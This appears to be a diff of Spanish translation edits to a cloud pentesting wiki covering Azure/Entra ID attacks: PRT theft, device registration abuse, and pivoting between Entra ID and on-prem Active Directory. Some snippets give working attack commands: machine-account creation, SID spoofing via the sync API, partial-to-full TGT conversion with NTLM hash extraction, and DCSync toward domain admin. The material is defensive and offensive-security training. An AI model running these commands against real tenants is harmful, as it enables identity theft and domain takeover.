Translated ['src/pentesting-cloud/azure-security/az-device-registration.

src/pentesting-cloud/azure-security/az-device-registration.md

@@ -24,13 +24,13 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 
 ### TPM - Trusted Platform Module
 
-El **TPM** **protege** contra la **extracción** de claves de un dispositivo apagado (si está protegido por PIN) y contra la extracción del material privado de la capa del sistema operativo.\
+El **TPM** **protege** contra la **extracción** de claves de un dispositivo apagado (si está protegido por PIN) y de la extracción del material privado de la capa del SO.\
 Pero **no protege** contra el **sniffing** de la conexión física entre el TPM y la CPU o **el uso del material criptográfico** en el TPM mientras el sistema está en funcionamiento desde un proceso con derechos de **SYSTEM**.
 
-Si revisas la siguiente página, verás que **robar el PRT** puede ser utilizado para acceder como el **usuario**, lo cual es excelente porque el **PRT se encuentra en los dispositivos**, por lo que puede ser robado de ellos (o si no es robado, abusado para generar nuevas claves de firma):
+Si revisas la siguiente página, verás que **robar el PRT** puede usarse para acceder como el **usuario**, lo cual es excelente porque el **PRT se encuentra en los dispositivos**, por lo que puede ser robado de ellos (o si no es robado, abusado para generar nuevas claves de firma):
 
 {{#ref}}
-az-lateral-movement-cloud-on-prem/pass-the-prt.md
+az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 {{#endref}}
 
 ## Registrando un dispositivo con tokens SSO
@@ -57,7 +57,7 @@ Lo que te dará un **certificado que puedes usar para solicitar PRTs en el futur
 
 ## Sobrescribiendo un ticket de dispositivo
 
-Era posible **solicitar un ticket de dispositivo**, **sobrescribir** el actual del dispositivo y durante el flujo **robar el PRT** (por lo que no es necesario robarlo del TPM. Para más información [**consulta esta charla**](https://youtu.be/BduCn8cLV1A).
+Era posible **solicitar un ticket de dispositivo**, **sobrescribir** el actual del dispositivo, y durante el flujo **robar el PRT** (por lo que no es necesario robarlo del TPM. Para más información [**consulta esta charla**](https://youtu.be/BduCn8cLV1A).
 
 <figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
 
@@ -70,7 +70,7 @@ Era posible **solicitar un ticket de dispositivo**, **sobrescribir** el actual d
 
 Resumen del ataque:
 
-- Es posible **sobrescribir** la clave **WHFB registrada** de un **dispositivo** a través de SSO
+- Es posible **sobrescribir** la **clave WHFB registrada** de un **dispositivo** a través de SSO
 - **Elude la protección TPM** ya que la clave es **capturada durante la generación** de la nueva clave
 - Esto también proporciona **persistencia**
 
@@ -86,7 +86,7 @@ y luego PATCH la información del searchableDeviceKey:
 
 <figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
 
-Es posible obtener un token de acceso de un usuario a través de **phishing de código de dispositivo** y abusar de los pasos anteriores para **robar su acceso**. Para más información consulta:
+Es posible obtener un token de acceso de un usuario a través de **device code phishing** y abusar de los pasos anteriores para **robar su acceso**. Para más información consulta:
 
 {{#ref}}
 az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md

@@ -1,65 +1,39 @@
 # Az - Movimiento Lateral (Nube - Local)
 
-## Az - Movimiento Lateral (Nube - Local)
-
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Máquinas locales conectadas a la nube
+## Información Básica
 
-Hay diferentes formas en que una máquina puede estar conectada a la nube:
+Esta sección cubre las técnicas de pivoting para moverse de un inquilino de Entra ID comprometido al Active Directory (AD) local o de un AD comprometido al inquilino de Entra ID.
 
-#### Unida a Azure AD
+## Técnicas de Pivoting
 
-<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
+- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Si un atacante puede controlar o crear una cuenta de computadora AD y acceder al recurso compartido de implementación de GPO de Azure Arc, puede descifrar el secreto del Service Principal almacenado y usarlo para autenticarse en Azure como el service principal asociado, comprometiendo completamente el entorno de Azure vinculado.
 
-#### Unida al lugar de trabajo
+- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Cómo pivotar de Entra ID a AD cuando Cloud Kerberos Trust está configurado. Un Administrador Global en Entra ID (Azure AD) puede abusar de Cloud Kerberos Trust y de la API de sincronización para suplantar cuentas AD de alto privilegio, obtener sus tickets de Kerberos o hashes NTLM, y comprometer completamente el Active Directory local, incluso si esas cuentas nunca fueron sincronizadas en la nube, efectivamente creando un puente de escalada de privilegios de nube a AD.
 
-<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Cloud Sync**](az-cloud-sync.md): Cómo abusar de Cloud Sync para moverse de la nube al AD local y viceversa.
 
-#### Unida de forma híbrida
+- [**Connect Sync**](az-connect-sync.md): Cómo abusar de Connect Sync para moverse de la nube al AD local y viceversa.
 
-<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Domain Services**](az-domain-services.md): Qué es el Servicio de Servicios de Dominio de Azure y cómo pivotar de Entra ID al AD que genera.
 
-#### Unida al lugar de trabajo en AADJ o híbrido
+- [**Federation**](az-federation.md): Cómo abusar de la Federación para moverse de la nube al AD local y viceversa.
 
-<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): Ataques diversos que se pueden usar para pivotar de la nube al AD local y viceversa.
 
-### Tokens y limitaciones <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
+- [**Local Cloud Credentials**](az-local-cloud-credentials.md): Dónde encontrar credenciales para la nube cuando una PC está comprometida.
 
-En Azure AD, hay diferentes tipos de tokens con limitaciones específicas:
+- [**Pass the Certificate**](az-pass-the-certificate.md): Generar un certificado basado en el PRT para iniciar sesión de una máquina a otra.
 
-- **Access tokens**: Utilizados para acceder a APIs y recursos como Microsoft Graph. Están vinculados a un cliente y recurso específicos.
-- **Refresh tokens**: Emitidos a aplicaciones para obtener nuevos access tokens. Solo pueden ser utilizados por la aplicación a la que fueron emitidos o un grupo de aplicaciones.
-- **Primary Refresh Tokens (PRT)**: Utilizados para el inicio de sesión único en dispositivos unidos a Azure AD, registrados o unidos de forma híbrida. Pueden ser utilizados en flujos de inicio de sesión en navegadores y para iniciar sesión en aplicaciones móviles y de escritorio en el dispositivo.
-- **Windows Hello for Business keys (WHFB)**: Utilizados para autenticación sin contraseña. Se utilizan para obtener Primary Refresh Tokens.
+- [**Pass the Cookie**](az-pass-the-cookie.md): Robar cookies de Azure del navegador y usarlas para iniciar sesión.
 
-El tipo de token más interesante es el Primary Refresh Token (PRT).
+- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): Qué es el PRT, cómo robarlo y usarlo para acceder a recursos de Azure suplantando al usuario.
 
-{{#ref}}
-az-primary-refresh-token-prt.md
-{{#endref}}
+- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Cómo abusar de la Autenticación Passthrough para moverse de la nube al AD local y viceversa.
 
-### Técnicas de Pivoting
+- [**Seamless SSO**](az-seamless-sso.md): Cómo abusar de Seamless SSO para moverse de local a nube.
 
-Desde la **máquina comprometida a la nube**:
-
-- [**Pass the Cookie**](az-pass-the-cookie.md): Robar cookies de Azure del navegador y usarlas para iniciar sesión
-- [**Dump processes access tokens**](az-processes-memory-access-token.md): Volcar la memoria de procesos locales sincronizados con la nube (como excel, Teams...) y encontrar access tokens en texto claro.
-- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishing del PRT para abusar de él
-- [**Pass the PRT**](pass-the-prt.md): Robar el PRT del dispositivo para acceder a Azure impersonándolo.
-- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generar un certificado basado en el PRT para iniciar sesión de una máquina a otra
-
-Desde comprometer **AD** hasta comprometer la **Nube** y desde comprometer la **Nube** hasta comprometer **AD**:
-
-- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
 - **Otra forma de pivotar de la nube a local es** [**abusar de Intune**](../az-services/intune.md)
 
-#### [Roadtx](https://github.com/dirkjanm/ROADtools)
-
-Esta herramienta permite realizar varias acciones como registrar una máquina en Azure AD para obtener un PRT, y usar PRTs (legítimos o robados) para acceder a recursos de varias maneras diferentes. Estos no son ataques directos, pero facilitan el uso de PRTs para acceder a recursos de diferentes maneras. Encuentra más información en [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
-
-## Referencias
-
-- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
-
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md

@@ -30,7 +30,7 @@ Tenemos las siguientes condiciones:
 2. Tenemos la capacidad de crear o asumir el control de una cuenta de computadora dentro de Active Directory.
 3. Hemos descubierto un recurso compartido de red que contiene el directorio AzureArcDeploy.
 
-Hay varios métodos para obtener una cuenta de máquina dentro de un entorno de AD. Uno de los más comunes es explotar la cuota de cuentas de máquina. Otro método implica comprometer una cuenta de máquina a través de ACLs vulnerables o varias otras configuraciones incorrectas.
+Hay varios métodos para obtener una cuenta de máquina dentro de un entorno de AD. Uno de los más comunes es explotar la cuota de cuentas de máquina. Otro método implica comprometer una cuenta de máquina a través de ACLs vulnerables o diversas otras configuraciones incorrectas.
 ```bash
 Import-MKodule powermad
 New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md

@@ -31,27 +31,27 @@ roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
 ```
 *(Alternativamente, se puede usar `Connect-AADInt` de AADInternals para autenticar como Administrador Global.)*
 
-2.  **Modificar los atributos On-Prem de un usuario híbrido:** Aprovechar la **API de sincronización** de Azure AD para establecer el **Identificador de Seguridad (SID)** y el **SAMAccountName** de un usuario híbrido elegido para que coincidan con la cuenta AD de destino. Esto le indica efectivamente a Azure AD que el usuario en la nube corresponde a la cuenta on-prem que queremos suplantar. Usando el kit de herramientas de código abierto **ROADtools Hybrid**:
+2.  **Modificar los atributos On-Prem de un usuario híbrido:** Aprovechar la **API de sincronización** de Azure AD para establecer el **Identificador de Seguridad (SID)** y el **SAMAccountName** de un usuario híbrido elegido para que coincidan con la cuenta AD de destino. Esto le dice efectivamente a Azure AD que el usuario en la nube corresponde a la cuenta on-prem que queremos suplantar. Usando el kit de herramientas de código abierto **ROADtools Hybrid**:
 ```bash
 # Example: modify a hybrid user to impersonate the MSOL account
 python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
 --sourceanchor <ImmutableID_of_User>\
 --sid <TargetAD_SID> --sam <TargetAD_SAMName>
 ```
-> El `sourceAnchor` (ID inmutable) del usuario es necesario para identificar el objeto de Azure AD que se va a modificar. La herramienta establece el SID local del usuario híbrido y el nombre de cuenta SAM a los valores del objetivo (por ejemplo, el SID y SAM de la cuenta MSOL_xxxx). Azure AD normalmente no permite alterar estos atributos a través de Graph (son de solo lectura), pero la API del servicio de sincronización lo permite y los administradores globales pueden invocar esta funcionalidad de sincronización.
+> Se necesita el `sourceAnchor` (ID inmutable) del usuario para identificar el objeto de Azure AD que se va a modificar. La herramienta establece el SID local del usuario híbrido y el nombre de cuenta SAM a los valores del objetivo (por ejemplo, el SID y SAM de la cuenta MSOL_xxxx). Azure AD normalmente no permite alterar estos atributos a través de Graph (son de solo lectura), pero la API del servicio de sincronización lo permite y los administradores globales pueden invocar esta funcionalidad de sincronización.
 
-3.  **Obtener un TGT parcial de Azure AD:** Después de la modificación, autentíquese como el usuario híbrido en Azure AD (por ejemplo, obteniendo un PRT en un dispositivo o usando sus credenciales). Cuando el usuario inicia sesión (especialmente en un dispositivo con dominio unido o unido a Entra), Azure AD emitirá un **TGT Kerberos parcial (TGT**<sub>**AD**</sub>) para esa cuenta porque Cloud Kerberos Trust está habilitado. Este TGT parcial está cifrado con la clave RODC de AzureADKerberos$ e incluye el **SID objetivo** que configuramos. Podemos simular esto solicitando un PRT para el usuario a través de ROADtools:
+3.  **Obtener un TGT parcial de Azure AD:** Después de la modificación, autentíquese como el usuario híbrido en Azure AD (por ejemplo, obteniendo un PRT en un dispositivo o usando sus credenciales). Cuando el usuario inicia sesión (especialmente en un dispositivo con dominio unido o unido a Entra), Azure AD emitirá un **TGT Kerberos parcial (TGT**<sub>**AD**</sub>) para esa cuenta porque Cloud Kerberos Trust está habilitado. Este TGT parcial está cifrado con la clave RODC AzureADKerberos$ e incluye el **SID objetivo** que establecimos. Podemos simular esto solicitando un PRT para el usuario a través de ROADtools:
 ```bash
 roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
 ```
-Esto genera un archivo `.prt` que contiene el TGT parcial y la clave de sesión. Si la cuenta era solo de contraseña en la nube, Azure AD aún incluye un TGT_AD en la respuesta PRT.
+Esto genera un archivo `.prt` que contiene el TGT parcial y la clave de sesión. Si la cuenta era solo de nube, Azure AD aún incluye un TGT_AD en la respuesta PRT.
 
 4.  **Intercambiar TGT Parcial por TGT Completo (en AD):** El TGT parcial ahora se puede presentar al Controlador de Dominio local para obtener un **TGT completo** para la cuenta objetivo. Hacemos esto realizando una solicitud TGS para el servicio `krbtgt` (el servicio TGT principal del dominio) -- esencialmente actualizando el ticket a un TGT normal con un PAC completo. Hay herramientas disponibles para automatizar este intercambio. Por ejemplo, utilizando el script de ROADtools Hybrid:
 ```bash
 # Use the partial TGT from the PRT file to get a full TGT and NTLM hash
 python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
 ```
-Este script (o equivalentes de Impacket) contactará al Controlador de Dominio y recuperará un TGT válido para la cuenta AD objetivo, incluyendo el hash NTLM de la cuenta si se utiliza la extensión Kerberos especial. La extensión **`KERB-KEY-LIST-REQ`** se incluye automáticamente para pedir al DC que devuelva el hash NTLM de la cuenta objetivo en la respuesta encriptada. El resultado es un caché de credenciales (`full_tgt.ccache`) para la cuenta objetivo *o* el hash de contraseña NTLM recuperado.
+Este script (o equivalentes de Impacket) contactará al Controlador de Dominio y recuperará un TGT válido para la cuenta AD objetivo, incluyendo el hash NTLM de la cuenta si se utiliza la extensión Kerberos especial. La extensión **`KERB-KEY-LIST-REQ`** se incluye automáticamente para pedir al DC que devuelva el hash NTLM de la cuenta objetivo en la respuesta encriptada. El resultado es un caché de credenciales (`full_tgt.ccache`) para la cuenta objetivo *o* el hash de la contraseña NTLM recuperado.
 
 5.  **Impersonar al objetivo y elevar a administrador de dominio:** Ahora el atacante efectivamente **controla la cuenta AD objetivo**. Por ejemplo, si el objetivo era la cuenta **MSOL** de AD Connect, tiene derechos de replicación en el directorio. El atacante puede realizar un ataque **DCSync** utilizando las credenciales de esa cuenta o el TGT de Kerberos para volcar los hashes de contraseñas de AD (incluyendo la cuenta KRBTGT del dominio). Por ejemplo:
 ```bash

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md

@@ -4,7 +4,7 @@
 
 ## Información Básica
 
-**Cloud Sync** es básicamente la nueva forma de Azure para **sincronizar los usuarios de AD en Entra ID**.
+**Cloud Sync** es básicamente la nueva forma de Azure de **sincronizar los usuarios de AD en Entra ID**.
 
 [Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync es una nueva oferta de Microsoft diseñada para cumplir y alcanzar tus objetivos de identidad híbrida para la sincronización de usuarios, grupos y contactos a Microsoft Entra ID. Esto se logra utilizando el agente de aprovisionamiento en la nube de Microsoft Entra en lugar de la aplicación Microsoft Entra Connect. Sin embargo, se puede usar junto con Microsoft Entra Connect Sync.
 
@@ -37,13 +37,13 @@ az-connect-sync.md
 
 - **La sincronización de hash de contraseñas** se puede habilitar para que los usuarios puedan **iniciar sesión en Entra ID usando sus contraseñas de AD**. Además, cada vez que se modifica una contraseña en AD, se actualizará en Entra ID.
 - **La escritura de contraseñas** también se puede habilitar, permitiendo a los usuarios modificar su contraseña en Entra ID sincronizando automáticamente su contraseña en el dominio local. Pero según la [documentación actual](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para esto es necesario usar el Agente Connect, así que echa un vistazo a la [sección Az Connect Sync](./az-connect-sync.md) para más información.
-- **La escritura de grupos**: Esta función permite que las membresías de grupos de Entra ID se sincronicen de vuelta al AD local. Esto significa que si un usuario se agrega a un grupo en Entra ID, también se le agregará al grupo correspondiente en AD.
+- **La escritura de grupos**: Esta función permite que las membresías de grupos de Entra ID se sincronicen de vuelta al AD local. Esto significa que si un usuario es agregado a un grupo en Entra ID, también será agregado al grupo correspondiente en AD.
 
-## Pivotar
+## Pivoting
 
 ### AD --> Entra ID
 
-- Si los usuarios de AD están siendo sincronizados desde AD a Entra ID, pivotar de AD a Entra ID es sencillo, solo **compromete la contraseña de algún usuario o cambia la contraseña de algún usuario o crea un nuevo usuario y espera hasta que se sincronice en el directorio de Entra ID (generalmente solo unos minutos)**.
+- Si los usuarios de AD están siendo sincronizados desde AD a Entra ID, el pivoting de AD a Entra ID es directo, solo **compromete la contraseña de algún usuario o cambia la contraseña de algún usuario o crea un nuevo usuario y espera hasta que se sincronice en el directorio de Entra ID (generalmente solo unos minutos)**.
 
 Así que podrías, por ejemplo:
 - Comprometer la cuenta **`provAgentgMSA`**, realizar un ataque DCSync, descifrar la contraseña de algún usuario y luego usarla para iniciar sesión en Entra ID.
@@ -129,12 +129,12 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C
 
 - Si **Password Writeback** está habilitado, podrías modificar la contraseña de algunos usuarios de Entra ID y si tienes acceso a la red de AD, conectarte usando ellos. Para más información, consulta la sección [Az Connect Sync](./az-connect-sync.md) ya que la escritura de contraseñas se configura utilizando ese agente.
 
-- En este momento, Cloud Sync también permite **"Microsoft Entra ID a AD"**, pero después de mucho tiempo descubrí que NO PUEDE sincronizar usuarios de EntraID a AD y que solo puede sincronizar usuarios de EntraID que fueron sincronizados con el hash de contraseña y provienen de un dominio que pertenece al mismo bosque de dominio que el dominio al que nos estamos sincronizando, como puedes leer en [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
+- En este momento, Cloud Sync también permite **"Microsoft Entra ID to AD"**, pero después de mucho tiempo descubrí que NO PUEDE sincronizar usuarios de EntraID a AD y que solo puede sincronizar usuarios de EntraID que fueron sincronizados con el hash de contraseña y provienen de un dominio que pertenece al mismo bosque de dominio al que nos estamos sincronizando, como puedes leer en [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
 
 > - Estos grupos solo pueden contener usuarios sincronizados en las instalaciones y / o grupos de seguridad adicionales creados en la nube.
 > - Las cuentas de usuario en las instalaciones que están sincronizadas y son miembros de este grupo de seguridad creado en la nube, pueden ser del mismo dominio o de dominio cruzado, pero todos deben ser del mismo bosque.
 
-Por lo tanto, la superficie de ataque (y utilidad) de este servicio se reduce considerablemente, ya que un atacante necesitaría comprometer el AD inicial desde donde se están sincronizando los usuarios para comprometer a un usuario en el otro dominio (y ambos deben estar en el mismo bosque, aparentemente).
+Por lo tanto, la superficie de ataque (y utilidad) de este servicio se reduce considerablemente, ya que un atacante necesitaría comprometer el AD inicial desde donde se están sincronizando los usuarios para comprometer a un usuario en el otro dominio (y ambos deben estar en el mismo bosque aparentemente).
 
 ### Enumeration
 ```bash

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md

@@ -6,7 +6,7 @@
 
 [From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) es un componente principal de Microsoft Entra Connect. Se encarga de todas las operaciones relacionadas con la sincronización de datos de identidad entre su entorno local y Microsoft Entra ID.
 
-Para usarlo, es necesario instalar el **`Microsoft Entra Connect Sync`** agente en un servidor dentro de su entorno de AD. Este agente será el encargado de la sincronización desde el lado de AD.
+Para usarlo, es necesario instalar el **`Microsoft Entra Connect Sync`** agente en un servidor dentro de su entorno AD. Este agente será el encargado de la sincronización desde el lado de AD.
 
 <figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
 
@@ -18,16 +18,16 @@ az-cloud-sync.md
 
 ### Principales Generados
 
-- La cuenta **`MSOL_<installationID>`** se crea automáticamente en el AD local. Esta cuenta recibe un rol de **Directory Synchronization Accounts** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), lo que significa que tiene **permisos de replicación (DCSync) en el AD local**.
+- La cuenta **`MSOL_<installationID>`** se crea automáticamente en el AD local. Esta cuenta recibe un rol de **Directory Synchronization Accounts** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD local**.
 - Esto significa que cualquier persona que comprometa esta cuenta podrá comprometer el dominio local.
 - Se crea una cuenta de servicio administrada **`ADSyncMSA<id>`** en el AD local sin privilegios especiales por defecto.
-- En Entra ID, se crea el Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** con un certificado.
+- En Entra ID, se crea el Principal de Servicio **`ConnectSyncProvisioning_ConnectSync_<id>`** con un certificado.
 
 ## Sincronizar Contraseñas
 
 ### Sincronización de Hash de Contraseña
 
-Este componente también se puede usar para **sincronizar contraseñas de AD en Entra ID** para que los usuarios puedan usar sus contraseñas de AD para conectarse a Entra ID. Para esto, es necesario permitir la sincronización de hash de contraseña en el agente de Microsoft Entra Connect Sync instalado en un servidor de AD.
+Este componente también se puede usar para **sincronizar contraseñas de AD en Entra ID** para que los usuarios puedan usar sus contraseñas de AD para conectarse a Entra ID. Para esto, es necesario permitir la sincronización de hash de contraseña en el agente Microsoft Entra Connect Sync instalado en un servidor AD.
 
 [From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.
 
@@ -38,7 +38,7 @@ La **sincronización de hashes** ocurre cada **2 minutos**. Sin embargo, por def
 Cuando un usuario local quiere acceder a un recurso de Azure, la **autenticación se realiza en Azure AD**.
 
 > [!NOTE]
-> Por defecto, los usuarios de grupos privilegiados conocidos como Domain Admins con el atributo **`adminCount` a 1 no se sincronizan** con Entra ID por razones de seguridad. Sin embargo, otros usuarios que son parte de grupos privilegiados sin este atributo o que tienen privilegios altos asignados directamente **pueden ser sincronizados**.
+> Por defecto, los usuarios de grupos privilegiados conocidos como Administradores de Dominio con el atributo **`adminCount` a 1 no se sincronizan** con Entra ID por razones de seguridad. Sin embargo, otros usuarios que son parte de grupos privilegiados sin este atributo o que tienen privilegios altos asignados directamente **pueden ser sincronizados**.
 
 ### Escritura de Contraseña
 
@@ -46,11 +46,11 @@ Esta configuración permite **sincronizar contraseñas de Entra ID en AD** cuand
 
 Esto es especialmente interesante para comprometer el AD desde un Entra ID comprometido, ya que podrá modificar la contraseña de "casi" cualquier usuario.
 
-Los administradores de dominio y otros usuarios que pertenecen a algunos grupos privilegiados no se replican si el grupo tiene el **atributo `adminCount` a 1**. Pero otros usuarios que han sido asignados con altos privilegios dentro del AD sin pertenecer a ninguno de esos grupos podrían tener su contraseña cambiada. Por ejemplo:
+Los administradores de dominio y otros usuarios que pertenecen a algunos grupos privilegiados no se replican si el grupo tiene el **atributo `adminCount` a 1**. Pero otros usuarios que han sido asignados altos privilegios dentro del AD sin pertenecer a ninguno de esos grupos podrían tener su contraseña cambiada. Por ejemplo:
 
-- Usuarios asignados con altos privilegios directamente.
+- Usuarios asignados altos privilegios directamente.
 - Usuarios del grupo **`DNSAdmins`**.
-- Usuarios del grupo **`Group Policy Creator Owners`** que han creado GPOs y les han asignado a OUs podrán modificar los GPOs que crearon.
+- Usuarios del grupo **`Group Policy Creator Owners`** que han creado GPOs y las han asignado a OUs podrán modificar los GPOs que crearon.
 - Usuarios del **`Cert Publishers Group`** que pueden publicar certificados en Active Directory.
 - Usuarios de cualquier otro grupo con altos privilegios sin el **atributo `adminCount` a 1**.
 
@@ -58,7 +58,7 @@ Los administradores de dominio y otros usuarios que pertenecen a algunos grupos
 
 ### Enumerando Connect Sync
 
-Verifique los usuarios:
+Verificar usuarios:
 ```bash
 # Check for the users created by the Connect Sync
 Install-WindowsFeature RSAT-AD-PowerShell
@@ -120,7 +120,7 @@ Esta aplicación se crea sin tener asignados roles de gestión de Entra ID o Azu
 
 - Microsoft Entra AD Synchronization Service
 - `ADSynchronization.ReadWrite.All`
-- Servicio de restablecimiento de contraseña de Microsoft
+- Microsoft password reset service
 - `PasswordWriteback.OffboardClient.All`
 - `PasswordWriteback.RefreshClient.All`
 - `PasswordWriteback.RegisterClientVersion.All`
@@ -137,7 +137,7 @@ En mi experiencia, el certificado ya no se almacena en el lugar donde la herrami
 ### Abusando Sync\_\* [DEPRECATED]
 
 > [!WARNING]
-> Anteriormente, se creó un usuario llamado `Sync_*` en Entra ID con permisos muy sensibles asignados, lo que permitía realizar acciones privilegiadas como modificar la contraseña de cualquier usuario o agregar una nueva credencial a un principal de servicio. Sin embargo, desde enero de 2025, este usuario ya no se crea por defecto, ya que ahora se utiliza la Aplicación/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Sin embargo, aún podría estar presente en algunos entornos, por lo que vale la pena verificarlo.
+> Anteriormente, se creó un usuario llamado `Sync_*` en Entra ID con permisos muy sensibles asignados, lo que permitía realizar acciones privilegiadas como modificar la contraseña de cualquier usuario o agregar una nueva credencial a un principal de servicio. Sin embargo, a partir de enero de 2025, este usuario ya no se crea por defecto, ya que ahora se utiliza la Aplicación/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Sin embargo, aún podría estar presente en algunos entornos, por lo que vale la pena verificarlo.
 
 Comprometer la cuenta **`Sync_*`** permite **restablecer la contraseña** de cualquier usuario (incluidos los Administradores Globales).
 ```bash
@@ -188,7 +188,7 @@ seamless-sso.md
 ## Pivotando Entra ID --> AD
 
 - Si la escritura de contraseñas está habilitada, puedes **modificar la contraseña de cualquier usuario en el AD** que esté sincronizado con Entra ID.
-- Si la escritura de grupos está habilitada, puedes **agregar usuarios a grupos privilegiados** en Entra ID que están sincronizados con el AD.
+- Si la escritura de grupos está habilitada, puedes **agregar usuarios a grupos privilegiados** en Entra ID que estén sincronizados con el AD.
 
 ## Referencias
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md

@@ -0,0 +1,86 @@
+# Az - Microsoft Entra Domain Services
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Servicios de Dominio
+
+Microsoft Entra Domain Services permite desplegar un Active Directory en Azure sin necesidad de gestionar Controladores de Dominio (de hecho, ni siquiera tienes acceso a ellos).
+
+Su objetivo principal es permitirte ejecutar aplicaciones heredadas en la nube que no pueden utilizar métodos de autenticación modernos, o donde no deseas que las búsquedas de directorio siempre regresen a un entorno de AD DS local.
+
+Ten en cuenta que para sincronizar los usuarios generados en Entra ID (y no sincronizados desde otros directorios activos) al servicio de dominio AD, necesitas **cambiar la contraseña del usuario** a una nueva para que pueda ser sincronizada con el nuevo AD. De hecho, el usuario no se sincroniza desde Microsoft Entra ID a los Servicios de Dominio hasta que se cambia la contraseña.
+
+> [!WARNING]
+> Incluso si estás creando un nuevo dominio de Active Directory, no podrás gestionarlo completamente (a menos que explotes algunas configuraciones incorrectas), lo que significa que por defecto, por ejemplo, no puedes crear usuarios en el AD directamente. Los creas **sincronizando usuarios desde Entra ID.** Puedes indicar sincronizar todos los usuarios (incluso aquellos sincronizados desde otros AD locales), solo usuarios de la nube (usuarios creados en Entra ID), o incluso **filtrarlos más**.
+
+> [!NOTE]
+> En general, debido a la falta de flexibilidad en la configuración del nuevo dominio y al hecho de que los AD suelen estar ya en local, esta no es la principal integración entre Entra ID y AD, pero sigue siendo interesante saber cómo comprometerlo.
+
+### Pivoting
+
+Los miembros del grupo generado **`AAD DC Administrators`** tienen permisos de administrador local en las VMs que están unidas al dominio gestionado (pero no en los controladores de dominio) porque se añaden al grupo de administradores locales. Los miembros de este grupo también pueden usar **Escritorio Remoto para conectarse de forma remota a VMs unidas al dominio**, y también son miembros de los grupos:
+
+- **`Denied RODC Password Replication Group`**: Este es un grupo que especifica usuarios y grupos cuyas contraseñas no pueden ser almacenadas en caché en RODCs (Controladores de Dominio de Solo Lectura).
